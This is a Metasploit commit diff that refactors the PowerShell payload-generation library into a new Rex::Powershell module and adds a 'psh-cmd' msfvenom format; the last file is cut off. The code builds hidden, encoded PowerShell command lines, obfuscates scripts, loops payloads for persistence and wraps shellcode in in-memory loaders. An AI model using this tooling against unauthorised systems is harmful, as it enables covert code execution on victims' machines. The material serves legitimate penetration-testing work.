Land #4744, refactor powershell for msfvenom psh-cmd
commit
9bf897a829
|
@ -1,10 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
|
@ -27,15 +25,13 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Encoded script
|
||||
def encode_script(script_in)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
||||
psh.encode_code
|
||||
Rex::Powershell::Command.encode_script(script_in, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -46,16 +42,14 @@ module Exploit::Powershell
|
|||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof = nil)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
def compress_script(script_in, eof=nil)
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
||||
psh.compress_code(eof)
|
||||
Rex::Powershell::Command.compress_script(script_in, eof, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -69,19 +63,7 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
Rex::Powershell::Command.generate_psh_command_line(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -122,66 +104,7 @@ module Exploit::Powershell
|
|||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
Rex::Powershell::Command.generate_psh_args(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -196,41 +119,15 @@ module Exploit::Powershell
|
|||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
|
||||
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
|
||||
ps_args = generate_psh_args(arg_opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -263,118 +160,28 @@ EOS
|
|||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
||||
when 'reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
||||
when 'old'
|
||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
elsif opts[:prepend_sleep].to_i < 0
|
||||
vprint_error('Sleep time must be greater than or equal to 0 seconds')
|
||||
end
|
||||
end
|
||||
|
||||
compressed_payload = compress_script(psh_payload)
|
||||
encoded_payload = encode_script(psh_payload)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
|
||||
command = Rex::Powershell::Command.cmd_psh_payload(pay,
|
||||
payload_arch,
|
||||
template_path,
|
||||
opts)
|
||||
vprint_status("Powershell command length: #{command.length}")
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Useful method cache
|
||||
#
|
||||
module PshMethods
|
||||
include Rex::Exploitation::Powershell::PshMethods
|
||||
include Rex::Powershell::PshMethods
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,6 +15,7 @@ require 'rex/peparsey'
|
|||
require 'rex/pescan'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/zip'
|
||||
require 'rex/powershell'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
@ -1080,36 +1081,17 @@ require 'msf/core/exe/segment_appender'
|
|||
end
|
||||
|
||||
def self.to_win32pe_psh_net(framework, code, opts={})
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_kernel32)
|
||||
rig.init_var(:var_baseaddr)
|
||||
rig.init_var(:var_threadHandle)
|
||||
rig.init_var(:var_output)
|
||||
rig.init_var(:var_codeProvider)
|
||||
rig.init_var(:var_compileParams)
|
||||
rig.init_var(:var_syscode)
|
||||
rig.init_var(:var_temp)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, code)
|
||||
end
|
||||
|
||||
def self.to_win32pe_psh(framework, code, opts = {})
|
||||
hash_sub = {}
|
||||
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
|
||||
|
||||
read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Payload.to_win32pe_psh(template_path, code)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1118,25 +1100,21 @@ require 'msf/core/exe/segment_appender'
|
|||
# Originally from PowerSploit
|
||||
#
|
||||
def self.to_win32pe_psh_reflection(framework, code, opts = {})
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:func_get_proc_address)
|
||||
rig.init_var(:func_get_delegate_type)
|
||||
rig.init_var(:var_code)
|
||||
rig.init_var(:var_module)
|
||||
rig.init_var(:var_procedure)
|
||||
rig.init_var(:var_unsafe_native_methods)
|
||||
rig.init_var(:var_parameters)
|
||||
rig.init_var(:var_return_type)
|
||||
rig.init_var(:var_type_builder)
|
||||
rig.init_var(:var_buffer)
|
||||
rig.init_var(:var_hthread)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, code)
|
||||
end
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
||||
|
||||
read_replace_script_template("to_mem_pshreflection.ps1.template",
|
||||
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
|
||||
def self.to_powershell_command(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
encode_final_payload: true,
|
||||
method: 'reflection')
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts = {})
|
||||
|
@ -1944,6 +1922,8 @@ require 'msf/core/exe/segment_appender'
|
|||
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
|
||||
when 'psh-reflection'
|
||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
|
||||
when 'psh-cmd'
|
||||
Msf::Util::EXE.to_powershell_command(framework, arch, code)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1967,6 +1947,7 @@ require 'msf/core/exe/segment_appender'
|
|||
"psh",
|
||||
"psh-net",
|
||||
"psh-reflection",
|
||||
"psh-cmd",
|
||||
"vba",
|
||||
"vba-exe",
|
||||
"vbs",
|
||||
|
|
|
@ -42,6 +42,7 @@ end
|
|||
require 'rex/constants'
|
||||
require 'rex/exceptions'
|
||||
require 'rex/transformer'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/text'
|
||||
require 'rex/time'
|
||||
require 'rex/job_container'
|
||||
|
|
|
@ -1,62 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/powershell/output'
|
||||
require 'rex/exploitation/powershell/parser'
|
||||
require 'rex/exploitation/powershell/obfu'
|
||||
require 'rex/exploitation/powershell/param'
|
||||
require 'rex/exploitation/powershell/function'
|
||||
require 'rex/exploitation/powershell/script'
|
||||
require 'rex/exploitation/powershell/psh_methods'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Exploitation::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,183 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
|
||||
'$NestedPromptLevel',
|
||||
'$null',
|
||||
'$OutputEncoding',
|
||||
'$PID',
|
||||
'$PROFILE',
|
||||
'$ProgressPreference',
|
||||
'$PSBoundParameters',
|
||||
'$PSCulture',
|
||||
'$PSEmailServer',
|
||||
'$PSHOME',
|
||||
'$PSSessionApplicationName',
|
||||
'$PSSessionConfigurationName',
|
||||
'$PSSessionOption',
|
||||
'$PSUICulture',
|
||||
'$PSVersionTable',
|
||||
'$PWD',
|
||||
'$ReportErrorShowExceptionClass',
|
||||
'$ReportErrorShowInnerException',
|
||||
'$ReportErrorShowSource',
|
||||
'$ReportErrorShowStackTrace',
|
||||
'$ShellId',
|
||||
'$StackTrace',
|
||||
'$true',
|
||||
'$VerbosePreference',
|
||||
'$WarningPreference',
|
||||
'$WhatIfPreference'
|
||||
].map(&:downcase).freeze
|
||||
|
||||
#
|
||||
# Get variable names from code, removes reserved names from return
|
||||
#
|
||||
# @return [Array] variable names
|
||||
def get_var_names
|
||||
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
|
||||
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
|
||||
end
|
||||
|
||||
#
|
||||
# Get function names from code
|
||||
#
|
||||
# @return [Array] function names
|
||||
def get_func_names
|
||||
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to find string literals in PSH expression
|
||||
#
|
||||
# @return [Array] string literals
|
||||
def get_string_literals
|
||||
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
|
||||
end
|
||||
|
||||
#
|
||||
# Scan code and return matches with index
|
||||
#
|
||||
# @param str [String] string to match in code
|
||||
# @param source [String] source code to match, defaults to @code
|
||||
#
|
||||
# @return [Array[String,Integer]] matched items with index
|
||||
def scan_with_index(str, source = code)
|
||||
::Enumerator.new do |y|
|
||||
source.scan(str) do
|
||||
y << ::Regexp.last_match
|
||||
end
|
||||
end.map { |m| [m.to_s, m.offset(0)[0]] }
|
||||
end
|
||||
|
||||
#
|
||||
# Return matching bracket type
|
||||
#
|
||||
# @param char [String] opening bracket character
|
||||
#
|
||||
# @return [String] matching closing bracket
|
||||
def match_start(char)
|
||||
case char
|
||||
when '{'
|
||||
'}'
|
||||
when '('
|
||||
')'
|
||||
when '['
|
||||
']'
|
||||
when '<'
|
||||
'>'
|
||||
else
|
||||
fail ArgumentError, 'Unknown starting bracket'
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract block of code inside brackets/parenthesis
|
||||
#
|
||||
# Attempts to match the bracket at idx, handling nesting manually
|
||||
# Once the balanced matching bracket is found, all script content
|
||||
# between idx and the index of the matching bracket is returned
|
||||
#
|
||||
# @param idx [Integer] index of opening bracket
|
||||
#
|
||||
# @return [String] content between matching brackets
|
||||
def block_extract(idx)
|
||||
fail ArgumentError unless idx
|
||||
|
||||
if idx < 0 || idx >= code.length
|
||||
fail ArgumentError, 'Invalid index'
|
||||
end
|
||||
|
||||
start = code[idx]
|
||||
stop = match_start(start)
|
||||
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
|
||||
delims.map { |x| x[1] = x[1] + idx + 1 }
|
||||
c = 1
|
||||
sidx = nil
|
||||
# Go through delims till we balance, get idx
|
||||
while (c != 0) && (x = delims.shift)
|
||||
sidx = x[1]
|
||||
x[0] == stop ? c -= 1 : c += 1
|
||||
end
|
||||
|
||||
code[idx..sidx]
|
||||
end
|
||||
|
||||
#
|
||||
# Extract a block of function code
|
||||
#
|
||||
# @param func_name [String] function name
|
||||
# @param delete [Boolean] delete the function from the code
|
||||
#
|
||||
# @return [String] function block
|
||||
def get_func(func_name, delete = false)
|
||||
start = code.index(func_name)
|
||||
|
||||
return nil unless start
|
||||
|
||||
idx = code[start..-1].index('{') + start
|
||||
func_txt = block_extract(idx)
|
||||
|
||||
if delete
|
||||
delete_code = code[0..idx]
|
||||
delete_code << code[(idx + func_txt.length)..-1]
|
||||
@code = delete_code
|
||||
end
|
||||
|
||||
Function.new(func_name, func_txt)
|
||||
end
|
||||
end # Parser
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/powershell/payload'
|
||||
require 'rex/powershell/output'
|
||||
require 'rex/powershell/parser'
|
||||
require 'rex/powershell/obfu'
|
||||
require 'rex/powershell/param'
|
||||
require 'rex/powershell/function'
|
||||
require 'rex/powershell/script'
|
||||
require 'rex/powershell/psh_methods'
|
||||
require 'rex/powershell/command'
|
||||
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a PowershellScript
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,359 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Command
|
||||
#
|
||||
# Return an encoded powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
# @param script_in [String] Script contents
|
||||
# @param opts [Hash] The options for encoding
|
||||
# @option opts [Bool] :strip_comments Strip comments
|
||||
# @option opts [Bool] :strip_whitespace Strip whitespace
|
||||
# @option opts [Bool] :sub_vars Substitute variable names
|
||||
# @option opts [Bool] :sub_funcs Substitute function names
|
||||
#
|
||||
# @return [String] Encoded script
|
||||
def self.encode_script(script_in, opts={})
|
||||
# Build script object
|
||||
psh = Rex::Powershell::Script.new(script_in)
|
||||
psh.strip_comments if opts[:strip_comments]
|
||||
psh.strip_whitespace if opts[:strip_whitespace]
|
||||
psh.sub_vars if opts[:sub_vars]
|
||||
psh.sub_funcs if opts[:sub_funcs]
|
||||
psh.encode_code
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
# @param script_in [String] Script contents
|
||||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
# @param opts [Hash] The options for encoding
|
||||
# @option opts [Bool] :strip_comments Strip comments
|
||||
# @option opts [Bool] :strip_whitespace Strip whitespace
|
||||
# @option opts [Bool] :sub_vars Substitute variable names
|
||||
# @option opts [Bool] :sub_funcs Substitute function names
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def self.compress_script(script_in, eof=nil, opts={})
|
||||
# Build script object
|
||||
psh = Rex::Powershell::Script.new(script_in)
|
||||
psh.strip_comments if opts[:strip_comments]
|
||||
psh.strip_whitespace if opts[:strip_whitespace]
|
||||
psh.sub_vars if opts[:sub_vars]
|
||||
psh.sub_funcs if opts[:sub_funcs]
|
||||
psh.compress_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a powershell command line, options are passed on to
|
||||
# generate_psh_args
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [String] :path Path to the powershell binary
|
||||
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||
# should include .exe
|
||||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def self.generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate arguments for the powershell command
|
||||
# The format will be have no space at the start and have a space
|
||||
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||
# arguments (v2.0 or greater)
|
||||
# @option opts [String] :encodedcommand Powershell script as an
|
||||
# encoded command (-EncodedCommand)
|
||||
# @option opts [String] :executionpolicy The execution policy
|
||||
# (-ExecutionPolicy)
|
||||
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||
# @option opts [String] :file The path to a powershell file (-File)
|
||||
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||
# execution (-NoExit)
|
||||
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||
# interactive powershell (-NonInteractive)
|
||||
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||
# Apartment (-Mta)
|
||||
# @option opts [String] :outputformat The output format
|
||||
# (-OutputFormat)
|
||||
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||
# Apartment (-Sta)
|
||||
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||
# powershell profile (-NoProfile)
|
||||
# @option opts [String] :windowstyle The window style to use
|
||||
# (-WindowStyle)
|
||||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def self.generate_psh_args(opts)
|
||||
return '' unless opts
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (opts[:method] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
